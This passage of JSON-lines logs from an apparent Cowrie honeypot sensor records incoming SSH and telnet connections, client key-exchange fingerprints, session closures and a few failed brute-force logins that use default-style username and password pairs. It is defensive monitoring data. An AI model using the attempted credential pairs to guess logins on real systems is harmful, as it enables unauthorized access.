etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:38.858137Z","src_ip":"159.203.92.129","session":"63465487f153","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"888888","message":"login attempt [administrator/888888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:38.869479Z","src_ip":"159.203.92.129","session":"63465487f153","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.363891124725342,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:38.964566Z","src_ip":"124.217.230.40","session":"44198ea72daa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.63332962989807,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:39.452538Z","src_ip":"124.217.230.40","session":"a2e6a1b64f4a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"124.217.230.40","src_port":35244,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab17ec2ea976","protocol":"telnet","message":"New connection: 124.217.230.40:35244 (10.17.0.5:23) [session: ab17ec2ea976]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:39.661229Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:39.884938Z","src_ip":"159.203.92.129","session":"63465487f153","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.66701340675354,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:40.549540Z","src_ip":"124.217.230.40","session":"6f4f4a9e7fd3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.062482833862305,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:41.056235Z","src_ip":"149.210.189.202","session":"0454dfa644e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"124.217.230.40","src_port":37914,"dst_ip":"10.17.0.5","dst_port":23,"session":"efe69c01085c","protocol":"telnet","message":"New connection: 124.217.230.40:37914 (10.17.0.5:23) [session: efe69c01085c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:41.909400Z"}
{"eventid":"cowrie.session.closed","duration":31.13372826576233,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:42.089786Z","src_ip":"149.210.189.202","session":"9a287a01a666","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.90757417678833,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:42.409791Z","src_ip":"124.217.230.40","session":"216be76bcd2a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.951359033584595,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:43.886072Z","src_ip":"149.210.189.202","session":"4b08d1f07f8f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"124.217.230.40","src_port":39592,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a3892216cbb","protocol":"telnet","message":"New connection: 124.217.230.40:39592 (10.17.0.5:23) [session: 6a3892216cbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:44.677789Z"}
{"eventid":"cowrie.session.connect","src_ip":"124.217.230.40","src_port":40750,"dst_ip":"10.17.0.5","dst_port":23,"session":"5763a5cadf14","protocol":"telnet","message":"New connection: 124.217.230.40:40750 (10.17.0.5:23) [session: 5763a5cadf14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:44.788057Z"}
{"eventid":"cowrie.session.connect","src_ip":"124.217.230.40","src_port":40772,"dst_ip":"10.17.0.5","dst_port":23,"session":"4778b574bf75","protocol":"telnet","message":"New connection: 124.217.230.40:40772 (10.17.0.5:23) [session: 4778b574bf75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:44.798964Z"}
{"eventid":"cowrie.session.closed","duration":30.64551019668579,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:46.425636Z","src_ip":"124.217.230.40","session":"6e452cd36abc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.378793478012085,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:47.268382Z","src_ip":"124.217.230.40","session":"3a0e4b84ad9d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"124.217.230.40","src_port":44362,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ee8e44c202d","protocol":"telnet","message":"New connection: 124.217.230.40:44362 (10.17.0.5:23) [session: 6ee8e44c202d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:47.940531Z"}
{"eventid":"cowrie.session.closed","duration":30.569528102874756,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:48.106770Z","src_ip":"149.210.189.202","session":"13e5894ef7f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"124.217.230.40","src_port":45062,"dst_ip":"10.17.0.5","dst_port":23,"session":"90e168d9bbb5","protocol":"telnet","message":"New connection: 124.217.230.40:45062 (10.17.0.5:23) [session: 90e168d9bbb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:48.674016Z"}
{"eventid":"cowrie.session.closed","duration":30.720860242843628,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:49.529626Z","src_ip":"149.210.189.202","session":"6e47cc70ba9e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"124.217.230.40","src_port":45974,"dst_ip":"10.17.0.5","dst_port":23,"session":"e63497ab36f5","protocol":"telnet","message":"New connection: 124.217.230.40:45974 (10.17.0.5:23) [session: e63497ab36f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:49.610767Z"}
{"eventid":"cowrie.session.connect","src_ip":"124.217.230.40","src_port":46370,"dst_ip":"10.17.0.5","dst_port":23,"session":"58edd6e1ab3a","protocol":"telnet","message":"New connection: 124.217.230.40:46370 (10.17.0.5:23) [session: 58edd6e1ab3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:49.892781Z"}
{"eventid":"cowrie.session.connect","src_ip":"124.217.230.40","src_port":46420,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f8ab03a353d","protocol":"telnet","message":"New connection: 124.217.230.40:46420 (10.17.0.5:23) [session: 4f8ab03a353d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:49.925699Z"}
{"eventid":"cowrie.session.closed","duration":30.967039346694946,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:50.180534Z","src_ip":"149.210.189.202","session":"90db293cc5d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.34281611442566,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:50.224779Z","src_ip":"149.210.189.202","session":"916a562e2ab5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.008197784423828,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:50.270258Z","src_ip":"149.210.189.202","session":"0737d44d29df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.210.189.202","src_port":54330,"dst_ip":"10.17.0.5","dst_port":23,"session":"21e592f5e954","protocol":"telnet","message":"New connection: 149.210.189.202:54330 (10.17.0.5:23) [session: 21e592f5e954]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:50.470097Z"}
{"eventid":"cowrie.session.closed","duration":30.734869480133057,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:51.496535Z","src_ip":"124.217.230.40","session":"3cda93f832fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.549287796020508,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:54.074044Z","src_ip":"149.210.189.202","session":"0be7ddc6700b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.217219352722168,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:54.403186Z","src_ip":"124.217.230.40","session":"532bb0ec5fb3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.210.189.202","src_port":60616,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2e73bf8c518","protocol":"telnet","message":"New connection: 149.210.189.202:60616 (10.17.0.5:23) [session: f2e73bf8c518]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:57.225597Z"}
{"eventid":"cowrie.session.connect","src_ip":"124.217.230.40","src_port":55452,"dst_ip":"10.17.0.5","dst_port":23,"session":"0402412b82e0","protocol":"telnet","message":"New connection: 124.217.230.40:55452 (10.17.0.5:23) [session: 0402412b82e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:57.921235Z"}
{"eventid":"cowrie.session.closed","duration":30.65177345275879,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:58.462591Z","src_ip":"124.217.230.40","session":"7ad7ae7d35e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.210.189.202","src_port":33380,"dst_ip":"10.17.0.5","dst_port":23,"session":"8416eb588ef6","protocol":"telnet","message":"New connection: 149.210.189.202:33380 (10.17.0.5:23) [session: 8416eb588ef6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:58.627889Z"}
{"eventid":"cowrie.session.closed","duration":30.431251525878906,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:59.187551Z","src_ip":"124.217.230.40","session":"1b4992ce58fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"124.217.230.40","src_port":57284,"dst_ip":"10.17.0.5","dst_port":23,"session":"f19b54cad606","protocol":"telnet","message":"New connection: 124.217.230.40:57284 (10.17.0.5:23) [session: f19b54cad606]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:59.322531Z"}
{"eventid":"cowrie.session.connect","src_ip":"124.217.230.40","src_port":56332,"dst_ip":"10.17.0.5","dst_port":23,"session":"325595e81a30","protocol":"telnet","message":"New connection: 124.217.230.40:56332 (10.17.0.5:23) [session: 325595e81a30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:06:59.720220Z"}
{"eventid":"cowrie.session.closed","duration":30.704646110534668,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:07:00.048123Z","src_ip":"149.210.189.202","session":"7cdeaa1298d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.074191093444824,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:07:00.974332Z","src_ip":"124.217.230.40","session":"bf5c7414d503","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.56053137779236,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:07:02.072693Z","src_ip":"149.210.189.202","session":"56efd98b807c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"124.217.230.40","src_port":34278,"dst_ip":"10.17.0.5","dst_port":23,"session":"b421c2ad2e72","protocol":"telnet","message":"New connection: 124.217.230.40:34278 (10.17.0.5:23) [session: b421c2ad2e72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:07:03.502325Z"}
{"eventid":"cowrie.session.connect","src_ip":"124.217.230.40","src_port":37070,"dst_ip":"10.17.0.5","dst_port":23,"session":"e402e7b6f10a","protocol":"telnet","message":"New connection: 124.217.230.40:37070 (10.17.0.5:23) [session: e402e7b6f10a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:07:06.208401Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.82.125.57","src_port":58430,"dst_ip":"159.203.135.109","dst_port":23,"session":"4954804a6acc","protocol":"telnet","message":"New connection: 23.82.125.57:58430 (159.203.135.109:23) [session: 4954804a6acc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:07:06.230091Z"}
{"eventid":"cowrie.session.connect","src_ip":"124.217.230.40","src_port":37384,"dst_ip":"10.17.0.5","dst_port":23,"session":"19fc7406d97a","protocol":"telnet","message":"New connection: 124.217.230.40:37384 (10.17.0.5:23) [session: 19fc7406d97a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:07:07.624921Z"}
{"eventid":"cowrie.session.connect","src_ip":"124.217.230.40","src_port":39026,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6393471a721","protocol":"telnet","message":"New connection: 124.217.230.40:39026 (10.17.0.5:23) [session: e6393471a721]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:07:07.906826Z"}
{"eventid":"cowrie.session.closed","duration":30.579887628555298,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:07:09.411448Z","src_ip":"149.210.189.202","session":"523f0510eac4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.861207246780396,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:07:09.463446Z","src_ip":"124.217.230.40","session":"469ef6a76b63","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.361399173736572,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:07:09.994421Z","src_ip":"124.217.230.40","session":"376ed62a3f47","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.750809907913208,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:07:10.411952Z","src_ip":"124.217.230.40","session":"ab17ec2ea976","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.85357928276062,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:07:13.762872Z","src_ip":"124.217.230.40","session":"efe69c01085c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.62390899658203,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:07:15.422759Z","src_ip":"124.217.230.40","session":"4778b574bf75","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.79511857032776,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:07:15.472781Z","src_ip":"124.217.230.40","session":"6a3892216cbb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.016975164413452,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:07:15.804722Z","src_ip":"124.217.230.40","session":"5763a5cadf14","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.51855230331421,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:07:19.458983Z","src_ip":"124.217.230.40","session":"6ee8e44c202d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.81708788871765,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:07:19.490983Z","src_ip":"124.217.230.40","session":"90e168d9bbb5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.706515312194824,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:07:20.317148Z","src_ip":"124.217.230.40","session":"e63497ab36f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"124.217.230.40","src_port":53086,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc496b68d09c","protocol":"telnet","message":"New connection: 124.217.230.40:53086 (10.17.0.5:23) [session: cc496b68d09c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:07:20.820729Z"}
{"eventid":"cowrie.session.closed","duration":31.418769359588623,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:07:21.344350Z","src_ip":"124.217.230.40","session":"4f8ab03a353d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.234931230545044,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:07:21.704915Z","src_ip":"149.210.189.202","session":"21e592f5e954","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.859838247299194,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:07:21.752495Z","src_ip":"124.217.230.40","session":"58edd6e1ab3a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":44838,"dst_ip":"159.203.135.109","dst_port":22,"session":"46c563acd259","protocol":"ssh","message":"New connection: 159.203.92.129:44838 (159.203.135.109:22) [session: 46c563acd259]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:07:23.638130Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:07:23.642848Z","src_ip":"159.203.92.129","session":"46c563acd259","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:07:23.649248Z","src_ip":"159.203.92.129","session":"46c563acd259","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"Abc123","message":"login attempt [administrator/Abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:07:23.673120Z","src_ip":"159.203.92.129","session":"46c563acd259","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.55.71","src_port":57586,"dst_ip":"10.17.0.5","dst_port":22,"session":"bce382b86bfa","protocol":"ssh","message":"New connection: 198.98.55.71:57586 (10.17.0.5:22) [session: bce382b86bfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:07:23.811939Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:07:23.819217Z","src_ip":"198.98.55.71","session":"bce382b86bfa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:07:23.827220Z","src_ip":"198.98.55.71","session":"bce382b86bfa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789A","message":"login attempt [root/123456789A] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:07:23.880804Z","src_ip":"198.98.55.71","session":"bce382b86bfa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:07:24.681222Z","src_ip":"159.203.92.129","session":"46c563acd259","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:07:24.890251Z","src_ip":"198.98.55.71","session":"bce382b86bfa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.217.230.40","src_port":58194,"dst_ip":"10.17.0.5","dst_port":23,"session":"da3d0acffc51","protocol":"telnet","message":"New connection: 124.217.230.40:58194 (10.17.0.5:23) [session: da3d0acffc51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:07:26.277848Z"}
{"eventid":"cowrie.session.closed","duration":31.440179347991943,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:07:28.665663Z","src_ip":"149.210.189.202","session":"f2e73bf8c518","protocol":"telnet"}
